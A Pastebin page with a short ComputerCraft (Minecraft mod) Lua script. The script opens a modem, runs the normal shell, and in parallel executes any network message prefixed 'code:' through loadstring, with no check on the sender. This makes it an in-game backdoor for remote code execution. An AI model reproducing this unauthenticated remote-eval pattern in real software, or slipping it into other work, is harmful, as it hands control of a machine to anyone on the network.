Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local function openRednet()
- local listOfSides = rs.getSides()
- for i = 1,6 do
- if peripheral.isPresent(listOfSides[i]) and peripheral.getType(listOfSides[i]) == "modem" then
- rednet.open(listOfSides[i])
- return listOfSides[i]
- end
- end
- end
- openRednet()
- local function receive()
- while true do
- id,msg=rednet.receive()
- if msg:sub(1,5)=="code:" then
- loadstring(msg:sub(6))()
- end
- end
- end
- local function shell()
- os.run({},"/rom/programs/shell")
- end
- parallel.waitForAny(receive,shell)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement